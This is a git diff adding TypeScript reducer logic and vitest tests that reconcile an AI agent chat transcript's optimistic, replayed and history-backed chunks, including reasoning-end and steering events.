+
+describe("request-local optimistic echo", () => {
+ it("retains identity through turn-start tags without conflating identical sends", () => {
+ let state = appendUserMessage(initialState(), "same", [{ url: "data:first" }], "r1");
+ state = appendUserMessage(state, "same", [{ url: "data:second" }], "r2");
+ state = foldEvent(state, { type: "turn-start", conversationId: "c1", turnId: "t1" });
+ state = removeLocalEcho(state, "r1");
+ expect(state.provisional.map((p) => p.localRequestId)).toEqual(["r2", "r2"]);
+ expect(state.provisional.map((p) => p.chunk)).toEqual([
+ { type: "text", text: "same" },
+ { type: "image", url: "data:second" },
+ ]);
+ expect(state.generating).toBe(true);
+ expect(removeLocalEcho(state, "r1")).toBe(state);
+ });
+
+ it("a live user-message confirms only its deduplicated text, not every identical local send", () => {
+ let state = appendUserMessage(initialState(), "same", [{ url: "data:first" }], "r1");
+ state = appendUserMessage(state, "same", [{ url: "data:second" }], "r2");
+ state = foldEvent(state, { type: "turn-start", conversationId: "c1", turnId: "t1" });
+ state = foldEvent(state, {
+ type: "user-message",
+ conversationId: "c1",
+ turnId: "t1",
+ text: "same",
+ });
+ state = removeLocalEcho(removeLocalEcho(state, "r1"), "r2");
+ expect(state.provisional).toEqual([
+ { role: "user", turnId: "t1", opening: true, chunk: { type: "text", text: "same" } },
+ ]);
+ });
+
+ it("does not remove committed rows even if their content is identical", () => {
+ let state = appendUserMessage(initialState(), "same", undefined, "r1");
+ state = applyHistory(state, [{ seq: 1, role: "user", chunk: { type: "text", text: "same" } }]);
+ const committed = state.committed;
+ state = removeLocalEcho(state, "r1");
+ expect(state.committed).toBe(committed);
+ expect(state.provisional).toEqual([]);
+ expect(removeLocalEcho(state, "r1")).toBe(state);
+ expect(removeLocalEcho(initialState(), "r1")).toEqual(initialState());
+ });
+});
diff --git a/src/core/chunks/reconcile.test.ts b/src/core/chunks/reconcile.test.ts
new file mode 100644
index 0000000..3d90a51
--- /dev/null
+++ b/src/core/chunks/reconcile.test.ts
@@ -0,0 +1,143 @@
+import type { AgentEvent, StepId, StoredChunk } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import { applyHistory, foldEvent, initialState, markHistoryRecovering } from "./reducer";
+import { selectChunks } from "./selectors";
+import type { TranscriptState } from "./types";
+
+const stepId = "t1#1" as StepId;
+function fold(s: TranscriptState, e: AgentEvent) {
+ return foldEvent(s, e);
+}
+const call = (toolCallId = "a", turnId = "t1", step = stepId): AgentEvent => ({
+ type: "tool-call",
+ conversationId: "c1",
+ turnId,
+ stepId: step,
+ toolCallId,
+ toolName: "run_shell",
+ input: "partial",
+});
+const result = (toolCallId = "a"): AgentEvent => ({
+ type: "tool-result",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId,
+ toolCallId,
+ toolName: "run_shell",
+ content: "partial",
+ isError: false,
+});
+const stored: StoredChunk[] = [
+ { seq: 50, role: "assistant", turnId: "t1", chunk: { type: "text", text: "full" } },
+ {
+ seq: 51,
+ role: "assistant",
+ turnId: "t1",
+ chunk: {
+ type: "tool-call",
+ stepId,
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: { command: "full" },
+ },
+ },
+ {
+ seq: 52,
+ role: "tool",
+ turnId: "t1",
+ chunk: {
+ type: "tool-result",
+ stepId,
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "full result",
+ isError: false,
+ },
+ },
+];
+
+describe("history recovery identities", () => {
+ it.each([
+ "before-live",
+ "after-live",
+ ])("reconciles committed tool/text identity %s, not payload equality", (order) => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ if (order === "before-live") s = applyHistory(s, stored);
+ s = fold(s, { type: "text-delta", conversationId: "c1", turnId: "t1", delta: "short" });
+ s = fold(s, call());
+ s = fold(s, result());
+ if (order === "after-live") s = applyHistory(s, stored);
+ expect(selectChunks(s).map((c) => c.chunk)).toEqual(stored.map((c) => c.chunk));
+ // Idempotent refresh; different step's identical text must remain live.
+ s = fold(s, { type: "text-delta", conversationId: "c1", turnId: "t1", delta: "full" });
+ s = applyHistory(s, stored);
+ expect(selectChunks(s).at(-1)).toMatchObject({
+ provisional: true,
+ streaming: true,
+ chunk: { type: "text", text: "full" },
+ });
+ });
+
+ it("does not conflate call/result, another turn, or another step's tool identity", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, call("a", "other"));
+ s = fold(s, call("a", "t1", "other-step" as StepId));
+ s = fold(s, result("a"));
+ s = applyHistory(s, stored);
+ expect(s.provisional).toHaveLength(2);
+ expect(s.provisional.map((p) => p.turnId)).toEqual(["other", "t1"]);
+ expect(s.provisional.every((p) => p.chunk.type === "tool-call")).toBe(true);
+ });
+
+ it("terminal sync removes only that turn and keeps optimistic/unrelated/carried content", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, call());
+ s = fold(s, { type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+ s = fold(s, { type: "turn-start", conversationId: "c1", turnId: "t2" });
+ s = fold(s, { type: "text-delta", conversationId: "c1", turnId: "t2", delta: "queued tail" });
+ s = applyHistory(s, stored, ["t1"]);
+ expect(s.generating).toBe(true);
+ expect(s.currentTurnId).toBe("t2");
+ expect(s.accumulating?.text).toBe("queued tail");
+ expect(s.historyRecoveryTurnIds).toEqual([]);
+ });
+
+ it("does not resurrect watermark-hidden history; older content stays available to Show earlier", () => {
+ let s = markHistoryRecovering({ ...initialState(), hiddenBeforeSeq: 51 }, "t1");
+ s = fold(s, call());
+ s = applyHistory(s, stored);
+ expect(s.committed.map((c) => c.seq)).toEqual([51, 52]);
+ expect(s.provisional).toEqual([]);
+ expect(s.hiddenBeforeSeq).toBe(51);
+ });
+});
+
+it("keeps identical Stop→carry openings as distinct turn identities", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, { type: "user-message", conversationId: "c1", turnId: "t1", text: "same" });
+ s = fold(s, { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "aborted" });
+ s = fold(s, { type: "user-message", conversationId: "c1", turnId: "t2", text: "same" });
+ s = fold(s, { type: "turn-start", conversationId: "c1", turnId: "t2" });
+ s = applyHistory(
+ s,
+ [{ seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "same" } }],
+ ["t1"],
+ );
+ expect(selectChunks(s).map((c) => [c.turnId, c.provisional])).toEqual([
+ ["t1", false],
+ ["t2", true],
+ ]);
+ expect(s.generating).toBe(true);
+});
+
+it("reconciles steering by its completed tool batch, not repeated user text", () => {
+ let s = markHistoryRecovering(initialState(), "t1");
+ s = fold(s, result());
+ s = fold(s, { type: "steering", conversationId: "c1", turnId: "t1", text: "short" });
+ s = applyHistory(s, [
+ ...stored,
+ { seq: 53, role: "user", turnId: "t1", chunk: { type: "text", text: "full steering" } },
+ ]);
+ expect(s.provisional).toEqual([]);
+ expect(selectChunks(s).at(-1)?.chunk).toEqual({ type: "text", text: "full steering" });
+});
diff --git a/src/core/chunks/reconcile.ts b/src/core/chunks/reconcile.ts
new file mode 100644
index 0000000..277d25b
--- /dev/null
+++ b/src/core/chunks/reconcile.ts
@@ -0,0 +1,54 @@
+import type { StoredChunk } from "@dispatch/wire";
+import type { ProvisionalChunk, TranscriptState } from "./types";
+
+/**
+ * A persisted tool call proves its entire assistant step committed atomically.
+ * Text/thinking wire chunks have no stepId: their provisional provenance is
+ * learned from tool-call/step-complete, never from text equality. This also
+ * handles a window starting midway through the step and an omitted prefix.
+ * Also usable when HTTP finished before replay/live flush.
+ */
+export function historyBackedProvisional(
+ state: TranscriptState,
+ committed: readonly StoredChunk[] = state.committed,
+): ReadonlySet<ProvisionalChunk> {
+ const backed = new Set<ProvisionalChunk>();
+ if (!state.historyRecoveryTurnIds?.length) return backed;
+ const steps = new Set<string>();
+ const steeringAnchors = new Set<string>();
+ let lastResult: StoredChunk | undefined;
+ const toolRows = new Map<string, Set<string | undefined>>();
+ for (const row of committed) {
+ const c = row.chunk;
+ if (row.role === "assistant" || row.turnId !== lastResult?.turnId) lastResult = undefined;
+ if (c.type === "tool-result") lastResult = row;
+ if (row.role === "user" && c.type === "text" && lastResult?.chunk.type === "tool-result") {
+ steeringAnchors.add(`${row.turnId}\0${lastResult.chunk.toolCallId}`);
+ }
+ if (c.type === "tool-call" || c.type === "tool-result") {
+ const key = `${row.turnId}\0${c.type}\0${c.toolCallId}`;
+ const ids = toolRows.get(key) ?? new Set<string | undefined>();
+ ids.add(c.stepId);
+ toolRows.set(key, ids);
+ if (c.type === "tool-call" && c.stepId !== undefined) steps.add(`${row.turnId}\0${c.stepId}`);
+ }
+ }
+ for (const p of state.provisional) {
+ if (p.turnId === undefined || !state.historyRecoveryTurnIds?.includes(p.turnId)) continue;
+ const c = p.chunk;
+ if (c.type === "tool-call" || c.type === "tool-result") {
+ const ids = toolRows.get(`${p.turnId}\0${c.type}\0${c.toolCallId}`);
+ if (ids !== undefined && (c.stepId === undefined || ids.has(undefined) || ids.has(c.stepId)))
+ backed.add(p);
+ } else if (p.afterToolCallId !== undefined && p.role === "user") {
+ if (steeringAnchors.has(`${p.turnId}\0${p.afterToolCallId}`)) backed.add(p);
+ } else if (p.opening && c.type === "text") {
+ // The opening is the first user row of this turn; steering is NOT opening.
+ const first = committed.find((row) => row.turnId === p.turnId);
+ if (first?.role === "user" && first.chunk.type === "text") backed.add(p);
+ } else if (p.stepId !== undefined && p.role === "assistant") {
+ if (steps.has(`${p.turnId}\0${p.stepId}`)) backed.add(p);
+ }
+ }
+ return backed;
+}
diff --git a/src/core/chunks/reducer.test.ts b/src/core/chunks/reducer.test.ts
index cba6fad..10d662e 100644
--- a/src/core/chunks/reducer.test.ts
+++ b/src/core/chunks/reducer.test.ts
@@ -7,6 +7,7 @@ import type {
TurnInputEvent,
TurnProviderRetryEvent,
TurnReasoningDeltaEvent,
+ TurnReasoningEndEvent,
TurnSealedEvent,
TurnStartEvent,
TurnSteeringEvent,
@@ -45,6 +46,12 @@ const reasoningDelta = (turnId: string, delta: string): TurnReasoningDeltaEvent
delta,
});
+const reasoningEnd = (turnId: string): TurnReasoningEndEvent => ({
+ type: "reasoning-end",
+ conversationId: "c1",
+ turnId,
+});
+
const toolCall = (
turnId: string,
toolCallId: string,
@@ -278,6 +285,72 @@ describe("foldEvent — reasoning-delta", () => {
});
});
+describe("foldEvent — reasoning-end (thinking block boundary)", () => {
+ it("closes each block so consecutive deltas become separate chunks", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "a"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "b"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(s.provisional.map((p) => p.chunk)).toEqual([
+ { type: "thinking", text: "a" },
+ { type: "thinking", text: "b" },
+ ]);
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("still merges legacy deltas with no boundary (no reasoning-end)", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "a"));
+ s = foldEvent(s, reasoningDelta("t1", "b"));
+ expect(s.accumulating).toEqual({ kind: "thinking", text: "ab", turnId: "t1" });
+ });
+
+ it("end with nothing open appends an empty thinking chunk for the turn", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(s.provisional).toHaveLength(1);
+ expect(s.provisional[0]?.chunk).toEqual({ type: "thinking", text: "" });
+ expect(s.provisional[0]?.turnId).toBe("t1");
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("text-delta then end flushes the text, then appends an empty thinking chunk", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, textDelta("t1", "x"));
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(s.provisional.map((p) => p.chunk)).toEqual([
+ { type: "text", text: "x" },
+ { type: "thinking", text: "" },
+ ]);
+ });
+
+ it("end for another turn flushes the open thinking and appends an empty one", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, reasoningDelta("t1", "open"));
+ s = foldEvent(s, reasoningEnd("t2"));
+ expect(s.provisional.map((p) => [p.turnId, p.chunk])).toEqual([
+ ["t1", { type: "thinking", text: "open" }],
+ ["t2", { type: "thinking", text: "" }],
+ ]);
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("clears a pending provider-retry banner", () => {
+ let s = initialState();
+ s = foldEvent(s, turnStart("t1"));
+ s = foldEvent(s, providerRetry("t1", 0, 5000));
+ expect(selectProviderRetry(s)).not.toBeNull();
+ s = foldEvent(s, reasoningEnd("t1"));
+ expect(selectProviderRetry(s)).toBeNull();
+ });
+});
+
describe("foldEvent — tool-call then tool-result", () => {
it("tool-call then tool-result render in order", () => {
let s = initialState();
@@ -1051,3 +1124,86 @@ describe("turnId provenance on live chunks", () => {
expect(selectChunks(s).map((c) => c.turnId)).toEqual(["t9", undefined]);
});
});
+
+describe("foldEvent — additive wire compatibility", () => {
+ it.each(["future-event"])("preserves transcript identity for %s", (type) => {
+ const state = foldEvent(foldEvent(initialState(), turnStart("t1")), textDelta("t1", "partial"));
+ const before = structuredClone(state);
+ const event = { type, conversationId: "c1", turnId: "t1", reason: "sealed" };
+ expect(foldEvent(state, event as Parameters<typeof foldEvent>[1])).toBe(state);
+ expect(state).toEqual(before);
+ });
+});
+
+describe("foldEvent — authoritative turn terminal", () => {
+ it.each([
+ "sealed",
+ "aborted",
+ "error",
+ "rejected",
+ ] as const)("ends generation on %s", (reason) => {
+ const before = foldEvent(
+ foldEvent(initialState(), turnStart("t1")),
+ textDelta("t1", "partial"),
+ );
+ const next = foldEvent(before, {
+ type: "turn-ended",
+ conversationId: "c1",
+ turnId: "t1",
+ reason,
+ });
+ expect(next.generating).toBe(false);
+ expect(next.accumulating).toBeNull();
+ expect(selectChunks(next).map((c) => c.chunk)).toEqual([{ type: "text", text: "partial" }]);
+ expect(before.accumulating?.text).toBe("partial");
+ });
+});
+
+describe("foldEvent — re-replay of an in-flight turn (re-subscribe after tab switch / reconnect)", () => {
+ const userMessage = (turnId: string, text: string): TurnInputEvent => ({
+ type: "user-message",
+ conversationId: "c1",
+ turnId,
+ text,
+ });
+ const replay = (upTo: number) =>
+ [
+ userMessage("t1", "go"),
+ turnStart("t1"),
+ reasoningDelta("t1", "plan"),
+ toolCall("t1", "tc1", "read", {}),
+ toolResult("t1", "tc1", "read", "out"),
+ { type: "steering", conversationId: "c1", turnId: "t1", text: "also this" } as const,
+ reasoningDelta("t1", "more"),
+ toolCall("t1", "tc2", "read", {}),
+ ].slice(0, upTo);
+
+ it("replaces the stale copy instead of appending a duplicate turn", () => {
+ let s = replay(7).reduce(foldEvent, initialState()); // first view, mid-thinking
+ s = replay(8).reduce(foldEvent, s); // came back: the whole turn replays again
+ const once = replay(8).reduce(foldEvent, initialState());
+ expect(selectChunks(s)).toEqual(selectChunks(once));
+ expect(s.accumulating).toBeNull();
+ });
+
+ it("drops a stale steering bubble that ended the old copy", () => {
+ let s = replay(6).reduce(foldEvent, initialState()); // old copy ends in steering
+ s = replay(8).reduce(foldEvent, s);
+ expect(selectChunks(s).filter((c) => c.role === "user")).toHaveLength(2); // opening + steer
+ });
+
+ it("keeps other turns' provisional chunks", () => {
+ let s = [turnStart("t0"), textDelta("t0", "earlier"), doneEvent("t0")].reduce(
+ foldEvent,
+ initialState(),
+ );
+ s = replay(4).reduce(foldEvent, s);
+ s = replay(4).reduce(foldEvent, s);
+ expect(selectChunks(s).map((c) => c.chunk.type)).toEqual([
+ "text",
+ "text",
+ "thinking",
+ "tool-call",
+ ]);
+ });
+});
diff --git a/src/core/chunks/reducer.ts b/src/core/chunks/reducer.ts
index 4eb08c1..71df4dd 100644
--- a/src/core/chunks/reducer.ts
+++ b/src/core/chunks/reducer.ts
@@ -1,5 +1,6 @@
import type { AgentEvent, Chunk, ImageInput, Role, StoredChunk } from "@dispatch/wire";
import { assertChunkExhaustive } from "../wire/conformance";
+import { historyBackedProvisional } from "./reconcile";
import type { AccumulatingChunk, ProvisionalChunk, TranscriptState } from "./types";
/** The initial empty transcript state. */
@@ -40,7 +41,13 @@ function flushAccumulating(
if (acc === null) return provisional;
const chunk: Chunk =
acc.kind === "text" ? { type: "text", text: acc.text } : { type: "thinking", text: acc.text };
- return [...provisional, withTurn({ role: "assistant", chunk }, acc.turnId)];
+ return [
+ ...provisional,
+ withTurn(
+ { role: "assistant", chunk, ...(acc.stepId !== undefined ? { stepId: acc.stepId } : {}) },
+ acc.turnId,
+ ),
+ ];
}
/** Attach a `turnId` to a provisional chunk (omitted when unknown). */
@@ -70,6 +77,26 @@ function tagTrailingUserEcho(
}
/**
+ * Drop the previous copy of a turn that is being replayed from its start.
+ * Keeps the trailing user run — the opening this replay's `user-message` just
+ * appended (or the sender's echo that `turn-start` just tagged) — and every
+ * other turn's chunks.
+ */
+function dropReplayedTurn(
+ provisional: readonly ProvisionalChunk[],
+ turnId: string,
+): readonly ProvisionalChunk[] {
+ let tail = provisional.length;
+ while (tail > 0 && provisional[tail - 1]?.role === "user") tail--;
+ // A stale steering bubble (replayed again as its own `steering` event) can
+ // end the old copy and so sit inside the trailing user run.
+ const stale = (p: ProvisionalChunk, i: number): boolean =>
+ p.turnId === turnId && (i < tail || p.afterToolCallId !== undefined);
+ if (!provisional.some(stale)) return provisional;
+ return provisional.filter((p, i) => !stale(p, i));
+}
+
+/**
* Content equality for two chunks of the SAME role (used to de-dup an
* optimistic echo against the authoritative committed version). Compares the
* discriminating payload only — `stepId` (generation provenance) is ignored
@@ -129,8 +156,8 @@ function trailingRun(
/**
* Merge authoritative seq-keyed chunks into the committed history.
* Dedupes by seq (new wins), keeps seq-monotonic order, idempotent.
- * When sealedTurnId is set, drops all provisional chunks (now superseded)
- * and clears sealedTurnId.
+ * A sealed/finally-synced turn supersedes only its own provisional chunks;
+ * unrelated turns and an already-running queued carry remain live.
*
* Chunks below the chat-limit unload watermark (`hiddenBeforeSeq`) are
* REJECTED: a full-cache or tail merge must not resurrect what the trim
@@ -139,6 +166,7 @@ function trailingRun(
export function applyHistory(
state: TranscriptState,
chunks: readonly StoredChunk[],
+ finishedTurnIds: readonly string[] = [],
): TranscriptState {
const seqMap = new Map<number, StoredChunk>();
for (const c of state.committed) seqMap.set(c.seq, c);
@@ -149,14 +177,49 @@ export function applyHistory(
seqMap.set(c.seq, c);
}
const committed = Array.from(seqMap.values()).sort((a, b) => a.seq - b.seq);
+ const identityRows = new Map(seqMap);
+ for (const c of chunks) identityRows.set(c.seq, c);
+ const backed = historyBackedProvisional(
+ state,
+ [...identityRows.values()].sort((a, b) => a.seq - b.seq),
+ );
+ const finished = new Set(finishedTurnIds);
+ if (state.sealedTurnId !== null) finished.add(state.sealedTurnId);
+ state = {
+ ...state,
+ provisional: state.provisional.filter((p) => !backed.has(p) && !finished.has(p.turnId ?? "")),
+ accumulating:
+ state.accumulating?.turnId !== undefined && finished.has(state.accumulating.turnId)
+ ? null
+ : state.accumulating,
+ };
if (state.sealedTurnId !== null) {
+ // Legacy (non-recovery) histories may carry no turn provenance at all.
+ // Retain their seal cleanup, but never erase an already-live queued carry.
+ const legacySeal =
+ (state.historyRecoveryTurnIds?.length ?? 0) === 0 && finishedTurnIds.length === 0;
return {
...state,
committed,
- provisional: [],
- accumulating: null,
+ provisional: legacySeal
+ ? state.provisional.filter(
+ (p) =>
+ state.generating &&
+ p.turnId === state.currentTurnId &&
+ p.turnId !== state.sealedTurnId,
+ )
+ : state.provisional,
+ accumulating:
+ legacySeal && state.accumulating?.turnId === state.sealedTurnId ? null : state.accumulating,
sealedTurnId: null,
+ ...(state.historyRecoveryTurnIds !== undefined
+ ? {
+ historyRecoveryTurnIds: state.historyRecoveryTurnIds.filter(
+ (id) => !finishedTurnIds.includes(id),
+ ),
+ }
+ : {}),
};
}
@@ -167,7 +230,14 @@ export function applyHistory(
// match the trailing provisional user-run against the trailing committed
// user-run by content equality and drop the whole echo when it is fully
// backed. Leaves the accumulating (streaming) chunk untouched.
- if (addedNew && state.generating && state.provisional.length > 0) {
+ if (
+ addedNew &&
+ state.generating &&
+ state.provisional.length > 0 &&
+ !state.provisional.some(
+ (p) => p.turnId !== undefined && state.historyRecoveryTurnIds?.includes(p.turnId),
+ )
+ ) {
const provRun = trailingRun(state.provisional, "user");
if (provRun.length > 0) {
const commRun = trailingRun(committed, "user");
@@ -179,7 +249,11 @@ export function applyHistory(
commRun.length >= provRun.length &&
provRun.every((p, i) => {
const c = commRun[i];
- return c !== undefined && chunkContentEquals(p.chunk, c.chunk);
+ return (
+ c !== undefined &&
+ (c.turnId === undefined || p.turnId === undefined || c.turnId === p.turnId) &&
+ chunkContentEquals(p.chunk, c.chunk)
+ );
});
if (fullyBacked) {
const dropStart = state.provisional.length - provRun.length;
@@ -189,7 +263,17 @@ export function applyHistory(
}
}
- return { ...state, committed };
+ return {
+ ...state,
+ committed,
+ ...(state.historyRecoveryTurnIds !== undefined
+ ? {
+ historyRecoveryTurnIds: state.historyRecoveryTurnIds.filter(
+ (id) => !finishedTurnIds.includes(id),
+ ),
+ }
+ : {}),
+ };
}
/**
@@ -200,6 +284,8 @@ export function applyHistory(
* optimistic echo) so a watcher renders it mid-turn.
* - `text-delta` extends the current accumulating TextChunk (or starts one).
* - `reasoning-delta` extends the current accumulating ThinkingChunk (or starts one).
+ * - `reasoning-end` closes the open ThinkingChunk as its own chunk; with none open
+ * (a redacted/empty block) it appends an empty thinking chunk, mirroring history.
* - `tool-call` / `tool-result` / `error` finalize any accumulating chunk and
* add a new provisional chunk.
* - `steering` appends a user bubble mid-turn (drained from the message queue
@@ -224,13 +310,26 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
case "tool-output":
return state;
- case "turn-start":
+ case "turn-start": {
+ // A turn starts exactly once live, so a `turn-start` for a turn that
+ // already has provisional content is a late-join REPLAY restarting from
+ // the top (re-subscribe after a tab switch / WS reconnect): the server
+ // re-delivers the whole in-flight turn. Replace the stale copy instead of
+ // appending a second one (a duplicate copy rendered as a tail of thinking
+ // blocks with its tool cards collapsed onto the first copy's).
+ const stale = state.accumulating?.turnId === event.turnId;
+ const provisional = tagTrailingUserEcho(
+ flushAccumulating(state.provisional, stale ? null : state.accumulating),
+ event.turnId,
+ );
return {
...state,
- provisional: tagTrailingUserEcho(state.provisional, event.turnId),
+ provisional: dropReplayedTurn(provisional, event.turnId),
+ accumulating: null,
currentTurnId: event.turnId,
generating: true,
};
+ }
case "user-message": {
// The turn's USER prompt, surfaced on the event stream (backend CR-3) so a
@@ -246,11 +345,22 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
// text) emits no `user-message` and is not de-duped here.
if (event.text.length === 0) return state;
const run = trailingRun(state.provisional, "user");
- const alreadyEchoed = run.some((p) => p.chunk.type === "text" && p.chunk.text === event.text);
- if (alreadyEchoed) {
+ const echoed = run.find(
+ (p) =>
+ (p.turnId === undefined || p.turnId === event.turnId) &&
+ p.chunk.type === "text" &&
+ p.chunk.text === event.text,
+ );
+ if (echoed !== undefined) {
return {
...state,
- provisional: tagTrailingUserEcho(state.provisional, event.turnId),
+ // Preserve the live text independently of the local send. A delayed
+ // queued ack may remove its images, but cannot erase this server event.
+ provisional: tagTrailingUserEcho(state.provisional, event.turnId).map((p) => {
+ if (p.chunk !== echoed.chunk) return p;
+ const { localRequestId: _local, ...confirmed } = p;
+ return { ...confirmed, opening: true };
+ }),
generating: true,
};
}
@@ -259,7 +369,12 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
...state,
provisional: [
...provisional,
- { role: "user", chunk: { type: "text", text: event.text }, turnId: event.turnId },
+ {
+ role: "user",
+ chunk: { type: "text", text: event.text },
+ turnId: event.turnId,
+ opening: true,
+ },
],
accumulating: null,
generating: true,
@@ -268,7 +383,7 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
case "text-delta": {
const acc = state.accumulating;
- if (acc !== null && acc.kind === "text") {
+ if (acc !== null && acc.kind === "text" && acc.turnId === event.turnId) {
return {
...state,
accumulating: { ...acc, text: acc.text + event.delta },
@@ -286,7 +401,7 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
case "reasoning-delta": {
const acc = state.accumulating;
- if (acc !== null && acc.kind === "thinking") {
+ if (acc !== null && acc.kind === "thinking" && acc.turnId === event.turnId) {
return {
...state,
accumulating: { ...acc, text: acc.text + event.delta },
@@ -302,6 +417,30 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
};
}
+ case "reasoning-end": {
+ const acc = state.accumulating;
+ // Close the open thinking block of this turn: flush it as its own provisional chunk.
+ if (acc !== null && acc.kind === "thinking" && acc.turnId === event.turnId) {
+ return {
+ ...state,
+ provisional: flushAccumulating(state.provisional, acc),
+ accumulating: null,
+ generating: true,
+ };
+ }
+ // No open thinking (a redacted/empty block with no deltas): history persists an
+ // EMPTY thinking chunk for it, so mirror that 1:1.
+ return {
+ ...state,
+ provisional: [
+ ...flushAccumulating(state.provisional, acc),
+ { role: "assistant", chunk: { type: "thinking", text: "" }, turnId: event.turnId },
+ ],
+ accumulating: null,
+ generating: true,
+ };
+ }
+
case "tool-call": {
const provisional = flushAccumulating(state.provisional, state.accumulating);
const chunk: Chunk = {
@@ -355,8 +494,24 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
return { ...state, latestUsage: event.usage };
case "step-complete":
- // Timing metadata — no content chunk; handled by the telemetry reducer.
- return state;
+ // A persistence boundary may lag this notification. Stamp provenance and
+ // finish the generation chunk, but keep it until history really backs it.
+ return {
+ ...state,
+ provisional: flushAccumulating(state.provisional, state.accumulating),
+ accumulating: null,
+ };
+
+ case "turn-ended":
+ return {
+ ...state,
+ provisional:
+ state.accumulating?.turnId === event.turnId
+ ? flushAccumulating(state.provisional, state.accumulating)
+ : state.provisional,
+ accumulating: state.accumulating?.turnId === event.turnId ? null : state.accumulating,
+ generating: state.currentTurnId === event.turnId ? false : state.generating,
+ };
case "done": {
const provisional = flushAccumulating(state.provisional, state.accumulating);
@@ -388,11 +543,21 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
// into the transcript by the sender).
if (event.text.length === 0) return state;
const provisional = flushAccumulating(state.provisional, state.accumulating);
+ const preceding = [...state.committed, ...provisional]
+ .reverse()
+ .find((p) => p.turnId === event.turnId && p.chunk.type === "tool-result");
+ const afterToolCallId =
+ preceding?.chunk.type === "tool-result" ? preceding.chunk.toolCallId : undefined;
return {
...state,
provisional: [
...provisional,
- { role: "user", chunk: { type: "text", text: event.text }, turnId: event.turnId },
+ {
+ role: "user",
+ chunk: { type: "text", text: event.text },
+ turnId: event.turnId,
+ ...(afterToolCallId !== undefined ? { afterToolCallId } : {}),
+ },
],
accumulating: null,
generating: true,
@@ -408,6 +573,9 @@ function reduceEvent(state: TranscriptState, event: AgentEvent): TranscriptState
// (already true from `turn-start`) is left untouched.
return { ...state, providerRetry: event };
}
+
+ default:
+ return state; // Forward-compatible with additive wire events.
}
}
@@ -426,14 +594,37 @@ const RETRY_CLEARING_EVENTS: ReadonlySet<AgentEvent["type"]> = new Set([
"turn-start",
"text-delta",
"reasoning-delta",
+ "reasoning-end",
"tool-call",
"tool-result",
"error",
"done",
"turn-sealed",
+ "turn-ended",
]);
export function foldEvent(state: TranscriptState, event: AgentEvent): TranscriptState {
+ if (
+ event.type === "tool-call" ||
+ event.type === "tool-result" ||
+ event.type === "step-complete"
+ ) {
+ state = {
+ ...state,
+ provisional: state.provisional.map((p) =>
+ p.turnId === event.turnId &&
+ p.role === "assistant" &&
+ p.stepId === undefined &&
+ (p.chunk.type === "text" || p.chunk.type === "thinking")
+ ? { ...p, stepId: event.stepId }
+ : p,
+ ),
+ accumulating:
+ state.accumulating?.turnId === event.turnId
+ ? { ...state.accumulating, stepId: event.stepId }
+ : state.accumulating,
+ };
+ }
const next = reduceEvent(state, event);
if (event.type === "provider-retry") return next; // set by reduceEvent; not a clearing event
if (RETRY_CLEARING_EVENTS.has(event.type) && state.providerRetry !== null) {
@@ -460,6 +651,7 @@ export function appendUserMessage(
state: TranscriptState,
text: string,
images?: readonly ImageInput[],
+ localRequestId?: string,
): TranscriptState {
const provisional = flushAccumulating(state.provisional, state.accumulating);
const userChunks: Chunk[] = [];
@@ -481,7 +673,35 @@ export function appendUserMessage(
}
return {
...state,
- provisional: [...provisional, ...userChunks.map((chunk) => ({ role: "user", chunk }) as const)],
+ provisional: [
+ ...provisional,
+ ...userChunks.map(
+ (chunk) =>
+ ({
+ role: "user",
+ chunk,
+ ...(localRequestId !== undefined ? { localRequestId } : {}),
+ }) as const,
+ ),
+ ],
accumulating: null,
};
}
+
+/** Remove only still-local artifacts of one accepted queued send; never history/live text. */
+export function removeLocalEcho(state: TranscriptState, requestId: string): TranscriptState {
+ const provisional = state.provisional.filter((p) => p.localRequestId !== requestId);
+ return provisional.length === state.provisional.length ? state : { ...state, provisional };
+}
+
+/** A resync notice is lifecycle evidence, never fabricated transcript content. */
+export function markHistoryRecovering(state: TranscriptState, turnId: string): TranscriptState {
+ return {
+ ...state,
+ currentTurnId: turnId,
+ generating: true,
+ historyRecoveryTurnIds: state.historyRecoveryTurnIds?.includes(turnId)
+ ? state.historyRecoveryTurnIds
+ : [...(state.historyRecoveryTurnIds ?? []), turnId],
+ };
+}
diff --git a/src/core/chunks/selectors.test.ts b/src/core/chunks/selectors.test.ts
index 57c1415..90bb5cc 100644
--- a/src/core/chunks/selectors.test.ts
+++ b/src/core/chunks/selectors.test.ts
@@ -1,7 +1,8 @@
import type { AgentEvent, StepId, StoredChunk } from "@dispatch/wire";
import { describe, expect, it } from "vitest";
